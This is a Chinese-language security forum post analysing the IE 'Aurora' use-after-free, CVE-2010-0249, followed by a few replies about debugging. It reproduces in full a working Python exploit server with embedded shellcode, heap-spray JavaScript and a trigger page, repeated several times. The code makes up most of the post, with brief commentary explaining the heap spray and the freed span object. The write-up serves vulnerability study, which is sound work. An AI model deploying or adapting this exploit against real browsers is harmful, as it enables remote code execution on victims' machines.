首页
社区
课程
招聘
[原创] CVE-2010-0249 IE极光漏洞深入分析
发表于: 2018-11-13 18:09 9179

[原创] CVE-2010-0249 IE极光漏洞深入分析

2018-11-13 18:09
9179

内存下内存写入断点


漏洞详情:
Use-after-free vulnerability in Microsoft Internet Explorer 6, 6 SP1, 7, and 8 on Windows 2000 SP4; Windows XP SP2 and SP3; Windows Server 2003 SP2; Windows Vista Gold, SP1, and SP2; Windows Server 2008 Gold, SP2, and R2; and Windows 7 allows remote attackers to execute arbitrary code by accessing a pointer associated with a deleted object, related to incorrectly initialized memory and improper handling of objects in memory, as exploited in the wild in December 2009 and January 2010 during Operation Aurora, aka "HTML Object Memory Corruption Vulnerability.

漏洞影响的操作系统版本 :
win 2000
win xp
win server2003
win vista
win server2008
win7

漏洞影响的IE浏览器版本:
Microsoft Internet Explorer 6
Microsoft Internet Explorer 7
Microsoft Internet Explorer 8

漏洞原因:
通过访问已删除对象相关联的指针来执行任意代码.
操作系统:Windows xp sp2
浏览器:IE 6.0 2900.2180
漏洞Exploit : https://www.exploit-db.com/exploits/11167/
调试器: IDA、OD

漏洞验证


浏览器设置:
以下两个选项勾上,为了方便调试

浏览器设置:

运行Exploit文件:
从 https://www.exploit-db.com/exploits/11167/ 下载 Exploit 的python文件,重命名为 ie_aurora.py ,用鼠标拖进cmd之后输入端口号8080启动


触发漏洞:
浏览器中输入web服务器地址并进入


成功弹出计算器


漏洞分析


HTTP服务器代码解读:
# -*- coding: UTF-8 -*-
#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   This program acts as a web server that generates an exploit to 
#   target a vulnerability (CVE-2010-0249) in Internet Explorer. 
#   The exploit was tested using Internet Explorer 6 on Windows XP SP2. 
#   The exploit's payload spawns the calculator. 
#
#   Usage  : python ie_aurora.py [port number]
#   
  
import sys
import socket
 
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

# RequestHandler是自定义处理程序,用于处理HTTP请求
class RequestHandler(BaseHTTPRequestHandler):
 
    def convert_to_utf16(self, payload):
        enc_payload = ''
        for i in range(0, len(payload), 2):
            num = 0
            for j in range(0, 2):
                num += (ord(payload[i + j]) & 0xff) << (j * 8)
            enc_payload += '%%u%04x' % num
        return enc_payload
                 
    def get_payload(self):
        # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
        # http://metasploit.com
        payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
        payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
        payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
        payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
        payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
        payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
        payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
        payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
        payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
        payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
        payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
        payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
        return self.convert_to_utf16(payload)

    def get_exploit(self):
        #exploit 是html代码
        exploit = '''
        <html>
        <head>
            <script>
            var obj, event_obj;
             //堆喷射函数
            function spray_heap()
            {   
                var chunk_size, payload, nopsled;
                
                //0x80000 = 0.5mb
                chunk_size = 0x80000;
                payload = unescape("<PAYLOAD>");
                nopsled = unescape("<NOP>");
                
                //nopsled是单个内存块的数据
                while (nopsled.length < chunk_size)
                    nopsled += nopsled;
                //给payload留空间
                nopsled_len = chunk_size - (payload.length + 20);    
                nopsled = nopsled.substring(0, nopsled_len);
                
                heap_chunks = new Array();
                //进行堆喷射 这时进程会分配200块大内存
                for (var i = 0 ; i < 200 ; i++)
                    heap_chunks[i] = nopsled + payload;
            }   
         
            function initialize()
            {   
                obj = new Array();
                event_obj = null;
                for (var i = 0; i < 200 ; i++ )
                    obj[i] = document.createElement("COMMENT");
            }   
            
            function ev1(in_event)
            {   
                //调用createEventObject为当前的Event事件创建一个副本
                event_obj = document.createEventObject(in_event);
                document.getElementById("sp1").innerHTML = "";
                window.setInterval(ev2, 1);
            }   
       
            function ev2()
            {   
                var data, tmp;
                
                data = "";
                tmp = unescape("%u0a0a%u0a0a");
                for (var i = 0 ; i < 4 ; i++)
                    data += tmp;
                for (i = 0 ; i < obj.length ; i++ ) { 
                    obj[i].data = data;
                }   
                event_obj.srcElement;
            }   
                     
            function check()
            {   
                if (navigator.userAgent.indexOf("MSIE") == -1)
                    return false;
                return true;   
            }   
            
            if (check()) { 
                initialize();
                spray_heap();               
            }   
            else
                window.location = 'about:blank'
            
            </script>
        </head>
        <body>
            <span id="sp1">
            <img src="aurora.gif" onload="ev1(event)">
            </span>
        </body>
        </html>
        '''
        #把exploit字符串中的'<PAYLOAD>'替换为payload
        exploit = exploit.replace('<PAYLOAD>', self.get_payload())
        #把exploit字符串中的'<NOP>'替换为'%u0a0a%u0a0a'
        exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
        #输出exploit字符串 用于替换字符串后观察
        print ("exploit %s" % exploit)

        return exploit 

    def get_image(self):
        content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
        content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
        content += '\x01\x00\x3b'
        return content

    def log_request(self, *args, **kwargs):
        pass

    # 处理GET请求
    def do_GET(self):
        try:
            if self.path == '/':
                print '[-] Incoming connection from %s' % self.client_address[0]
                # 设置响应状态码
                self.send_response(200)
                # 设置响应头
                self.send_header('Content-Type', 'text/html')
                self.end_headers()
                print '[-] Sending exploit to %s ...' % self.client_address[0]
                # 输出响应内容
                self.wfile.write(self.get_exploit())
                print '[-] Exploit sent to %s' % self.client_address[0]
            elif self.path == '/aurora.gif':
                # 设置响应状态码
                self.send_response(200)
                # 设置响应头
                self.send_header('Content-Type', 'image/gif')
                self.end_headers()
                # 输出响应内容
                self.wfile.write(self.get_image())

        except: 
            print '[*] Error : an error has occured while serving the HTTP request'
            print '[-] Exiting ...'
            sys.exit(-1)

def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
        sys.exit(0)
    try:
        #拿到服务端口
        port = int(sys.argv[1])
        if port < 1024 or port > 65535:
            raise ValueError
        try:
            # RequestHandler是自定义处理函数,用于处理HTTP请求
            serv = HTTPServer(('', port), RequestHandler)
            #输出服务器地址
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)

            try:
                # 设置一直监听并接收请求
                serv.serve_forever()
            except:
                print '[-] Exiting ...'
        except socket.error:
            print '[*] Error : a socket error has occurred'
        sys.exit(-1)    
    except ValueError:
        print '[*] Error : an invalid port number was given'
        sys.exit(-1)

if __name__ == '__main__':
    main()

# -*- coding: UTF-8 -*-
#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   This program acts as a web server that generates an exploit to 
#   target a vulnerability (CVE-2010-0249) in Internet Explorer. 
#   The exploit was tested using Internet Explorer 6 on Windows XP SP2. 
#   The exploit's payload spawns the calculator. 
#
#   Usage  : python ie_aurora.py [port number]
#   
  
import sys
import socket
 
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

# RequestHandler是自定义处理程序,用于处理HTTP请求
class RequestHandler(BaseHTTPRequestHandler):
 
    def convert_to_utf16(self, payload):
        enc_payload = ''
        for i in range(0, len(payload), 2):
            num = 0
            for j in range(0, 2):
                num += (ord(payload[i + j]) & 0xff) << (j * 8)
            enc_payload += '%%u%04x' % num
        return enc_payload
                 
    def get_payload(self):
        # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
        # http://metasploit.com
        payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
        payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
        payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
        payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
        payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
        payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
        payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
        payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
        payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
        payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
        payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
        payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
        return self.convert_to_utf16(payload)

    def get_exploit(self):
        #exploit 是html代码
        exploit = '''
        <html>
        <head>
            <script>
            var obj, event_obj;
             //堆喷射函数
            function spray_heap()
            {   
                var chunk_size, payload, nopsled;
                
                //0x80000 = 0.5mb
                chunk_size = 0x80000;
                payload = unescape("<PAYLOAD>");
                nopsled = unescape("<NOP>");
                
                //nopsled是单个内存块的数据
                while (nopsled.length < chunk_size)
                    nopsled += nopsled;
                //给payload留空间
                nopsled_len = chunk_size - (payload.length + 20);    
                nopsled = nopsled.substring(0, nopsled_len);
                
                heap_chunks = new Array();
                //进行堆喷射 这时进程会分配200块大内存
                for (var i = 0 ; i < 200 ; i++)
                    heap_chunks[i] = nopsled + payload;
            }   
         
            function initialize()
            {   
                obj = new Array();
                event_obj = null;
                for (var i = 0; i < 200 ; i++ )
                    obj[i] = document.createElement("COMMENT");
            }   
            
            function ev1(in_event)
            {   
                //调用createEventObject为当前的Event事件创建一个副本
                event_obj = document.createEventObject(in_event);
                document.getElementById("sp1").innerHTML = "";
                window.setInterval(ev2, 1);
            }   
       
            function ev2()
            {   
                var data, tmp;
                
                data = "";
                tmp = unescape("%u0a0a%u0a0a");
                for (var i = 0 ; i < 4 ; i++)
                    data += tmp;
                for (i = 0 ; i < obj.length ; i++ ) { 
                    obj[i].data = data;
                }   
                event_obj.srcElement;
            }   
                     
            function check()
            {   
                if (navigator.userAgent.indexOf("MSIE") == -1)
                    return false;
                return true;   
            }   
            
            if (check()) { 
                initialize();
                spray_heap();               
            }   
            else
                window.location = 'about:blank'
            
            </script>
        </head>
        <body>
            <span id="sp1">
            <img src="aurora.gif" onload="ev1(event)">
            </span>
        </body>
        </html>
        '''
        #把exploit字符串中的'<PAYLOAD>'替换为payload
        exploit = exploit.replace('<PAYLOAD>', self.get_payload())
        #把exploit字符串中的'<NOP>'替换为'%u0a0a%u0a0a'
        exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
        #输出exploit字符串 用于替换字符串后观察
        print ("exploit %s" % exploit)

        return exploit 

    def get_image(self):
        content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
        content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
        content += '\x01\x00\x3b'
        return content

    def log_request(self, *args, **kwargs):
        pass

    # 处理GET请求
    def do_GET(self):
        try:
            if self.path == '/':
                print '[-] Incoming connection from %s' % self.client_address[0]
                # 设置响应状态码
                self.send_response(200)
                # 设置响应头
                self.send_header('Content-Type', 'text/html')
                self.end_headers()
                print '[-] Sending exploit to %s ...' % self.client_address[0]
                # 输出响应内容
                self.wfile.write(self.get_exploit())
                print '[-] Exploit sent to %s' % self.client_address[0]
            elif self.path == '/aurora.gif':
                # 设置响应状态码
                self.send_response(200)
                # 设置响应头
                self.send_header('Content-Type', 'image/gif')
                self.end_headers()
                # 输出响应内容
                self.wfile.write(self.get_image())

        except: 
            print '[*] Error : an error has occured while serving the HTTP request'
            print '[-] Exiting ...'
            sys.exit(-1)

def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
        sys.exit(0)
    try:
        #拿到服务端口
        port = int(sys.argv[1])
        if port < 1024 or port > 65535:
            raise ValueError
        try:
            # RequestHandler是自定义处理函数,用于处理HTTP请求
            serv = HTTPServer(('', port), RequestHandler)
            #输出服务器地址
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)

            try:
                # 设置一直监听并接收请求
                serv.serve_forever()
            except:
                print '[-] Exiting ...'
        except socket.error:
            print '[*] Error : a socket error has occurred'
        sys.exit(-1)    
    except ValueError:
        print '[*] Error : an invalid port number was given'
        sys.exit(-1)

if __name__ == '__main__':
    main()

首先在main函数中启动了一个HTTP服务器,再用RequestHandler这个类来处理网页对服务器的访问请求,当网页访问服务器时会进行GET请求,
由do_GET函数响应,在 do_GET 函数中,path等于'/'则调用get_exploit返回html文件到浏览器, path等于'/aurora.gif'时发送gif图片数据到浏览器。

HTML与JavaScript代码解读:
<html>
<head>
    <script>
    var obj, event_obj;
     //堆喷射函数
    function spray_heap() {   
        var chunk_size, payload, nopsled;
        //0x80000 = 0.5mb
        chunk_size = 0x80000;
        payload = unescape("<PAYLOAD>");
        nopsled = unescape("<NOP>");
        //nopsled是单个内存块的数据
        while (nopsled.length < chunk_size)
            nopsled += nopsled;
        //给payload留空间
        nopsled_len = chunk_size - (payload.length + 20);    
        nopsled = nopsled.substring(0, nopsled_len);
        heap_chunks = new Array();
        //进行堆喷射 这时进程会分配200块大内存
        for (var i = 0 ; i < 200 ; i++)
            heap_chunks[i] = nopsled + payload;
    }   

    function initialize() {   
        obj = new Array();
        event_obj = null;
        for (var i = 0; i < 200 ; i++ )
            obj[i] = document.createElement("COMMENT");
    }   
    
    function ev1(in_event) {   
        event_obj = document.createEventObject(in_event);
        document.getElementById("sp1").innerHTML = "";
        window.setInterval(ev2, 1);
    }   

    function ev2() {   
        var data, tmp;
        data = "";
        tmp = unescape("%u0a0a%u0a0a");
        for (var i = 0 ; i < 4 ; i++)
            data += tmp;
        for (i = 0 ; i < obj.length ; i++ ) { 
            obj[i].data = data;
        }   
        event_obj.srcElement;
    }   
             
    function check() {   
        if (navigator.userAgent.indexOf("MSIE") == -1)
            return false;
        return true;   
    }   
    if (check()) { 
        initialize();
        spray_heap();               
    }   
    else
        window.location = 'about:blank'
    </script>
</head>
<body>
    <span id="sp1">
    <img src="aurora.gif" onload="ev1(event)">
    </span>
</body>
</html>

加载HTML文件时,首先被执行的是<script>.......</script>之中的Javascript代码,之后会进入HTML的<BODY>.......</BODY>部分执行HTML代码,
<html>
<head>
    <script>
    var obj, event_obj;
     //堆喷射函数
    function spray_heap() {   
        var chunk_size, payload, nopsled;
        //0x80000 = 0.5mb
        chunk_size = 0x80000;
        payload = unescape("<PAYLOAD>");
        nopsled = unescape("<NOP>");
        //nopsled是单个内存块的数据
        while (nopsled.length < chunk_size)
            nopsled += nopsled;
        //给payload留空间
        nopsled_len = chunk_size - (payload.length + 20);    
        nopsled = nopsled.substring(0, nopsled_len);
        heap_chunks = new Array();
        //进行堆喷射 这时进程会分配200块大内存
        for (var i = 0 ; i < 200 ; i++)
            heap_chunks[i] = nopsled + payload;
    }   

    function initialize() {   
        obj = new Array();
        event_obj = null;
        for (var i = 0; i < 200 ; i++ )
            obj[i] = document.createElement("COMMENT");
    }   
    
    function ev1(in_event) {   
        event_obj = document.createEventObject(in_event);
        document.getElementById("sp1").innerHTML = "";
        window.setInterval(ev2, 1);
    }   

    function ev2() {   
        var data, tmp;
        data = "";
        tmp = unescape("%u0a0a%u0a0a");
        for (var i = 0 ; i < 4 ; i++)
            data += tmp;
        for (i = 0 ; i < obj.length ; i++ ) { 
            obj[i].data = data;
        }   
        event_obj.srcElement;
    }   
             
    function check() {   
        if (navigator.userAgent.indexOf("MSIE") == -1)
            return false;
        return true;   
    }   
    if (check()) { 
        initialize();
        spray_heap();               
    }   
    else
        window.location = 'about:blank'
    </script>
</head>
<body>
    <span id="sp1">
    <img src="aurora.gif" onload="ev1(event)">
    </span>
</body>
</html>

加载HTML文件时,首先被执行的是<script>.......</script>之中的Javascript代码,之后会进入HTML的<BODY>.......</BODY>部分执行HTML代码,
Javascript代码会先执行initialize函数创建200个HTML Elment对象,然后调用spray_heap函数进行堆喷射,
HTML代码首先会创建一个id等于 "sp1"的 span对象,然后加载aurora.gif并在处理onload事件时调用 Javascript 代码中的 ev1 函数去触发漏洞。

在 ev1 函数中第一个参数in_event就是当前onload的Event对象,  函数先调用createEventObject为当前的Event事件创建一个副本,再调用getElementById访问
HTML中的Span对象,并清空名为"sp1"的span对象内容, 这样将导致span对象被释放,之后调用setInterval对ev2函数进行延时重复调用,延时时间为1ms。
在ev2函数中会对 initialize 时创建的200个HTML Element对象的数据进行赋值, 之后使用srcElement访问对象本身触发漏洞。

分析异常时基本信息 :
用OD启动IE浏览器,shellcode第一个字节下断,断下后观察栈区窗口,找到返回函数地址。



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-11-13 18:09 被来杯柠檬红茶编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (3)
雪    币: 7048
活跃值: (3527)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
2
厉害了~~~
2018-11-13 19:12
1
雪    币: 1421
活跃值: (162)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
lz想问下你这里第一步在shellcode第一个字节下断是下的什么断点?我普通的断点下不到这里,下硬件断点又断不下来
2019-6-11 15:39
0
雪    币: 3874
活跃值: (641)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
4
一滴泪 lz想问下你这里第一步在shellcode第一个字节下断是下的什么断点?我普通的断点下不到这里,下硬件断点又断不下来
普通的执行断点 
2019-6-17 17:37
0
游客
登录 | 注册 方可回帖
返回
//